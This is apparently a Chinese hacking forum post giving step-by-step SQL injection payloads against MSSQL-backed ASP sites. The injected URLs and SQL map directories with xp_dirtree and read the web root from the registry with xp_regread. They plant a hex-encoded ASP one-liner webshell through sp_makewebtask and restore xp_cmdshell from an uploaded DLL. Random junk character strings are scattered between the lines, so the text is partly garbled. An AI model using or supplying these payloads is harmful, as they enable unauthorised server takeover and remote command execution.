MSsqlL注入取得网站路径最好的方法

admin

好，我们exec master..xp_dirtree'd:/test'
假设我们在test里有两个文件夹test1和test2在test1里又有test3
结果显示
9 G2 W; \- P6 O# a1 U# f
0 f/ r! p% g  [1 j( j0 e' vsubdirectory depth
test1 1
+ l+ v# B3 Y4 P) C+ c& Utest3 2
9 A; N1 g( h. Ntest2 1
. N( N  ~! h/ h5 O
" P% C- f* x- U9 V( U3 e8 G' v哈哈发现没有那个depth就是目录的级数
ok了，知道怎么办了吧

http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)--
http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' --
" u. b8 e! K8 N+ `, `6 Zhttp://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-

9 _0 `( z2 M9 B2 b0 |! E只要加上id＝1，就是第一级目录 。
* `* a2 O) j, F: [7 z5 K
5 a0 Q* N8 X0 r
通过注册表读网站路径:

1.;create table [dbo].[cyfd] ([gyfd][char](255));

2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--
id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--
* e9 c: v2 f9 g, T
3.and 1=(select count(*) from 临时表 where 临时字段名>1)
0 x0 A4 J' ^" q" O) Zand 1=(select count(*) from cyfd where gyfd > 1)
! c: L/ o" l' k1 c- n& Y! i. t# {$ N1 m这样IE报错,就把刚才插进去的Web路径的值报出来了
* K$ J8 b5 r: K1 N3 z/ T( E
4 y. U3 e! f8 ~* S4.drop table cyfd;-- 删除临时表

获得webshell方法:
1.create table cmd (a image)-- \**cmd是创建的临时表
; R+ u- p4 T! I9 {  g1 E% ?/ N: E
( c5 O7 X" L' D3 u5 \- V5 e/ I. u2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话
/ _9 ]4 u- b) ]9 o0 w4 J7 j+ g2 \1 w
, i* E$ a- ^3 [( D7 t1 H: F
3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'
EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'

4.drop table cmd;-- 删除cmd临时表
6 g( V( Y8 n. Y: [- E
恢复xp_cmdshell方法之一:
& f9 {5 u5 g9 D: M# ?; K) K我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了，来吧，我们来给他恢复，提交：
0 \$ N8 W+ ?" t7 j8 o. f7 thttp://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'
; J) E3 |7 L% b恢复，支持绝对路径的恢复哦。：）
* A+ ?1 `4 A7 r) e, N6 ?" P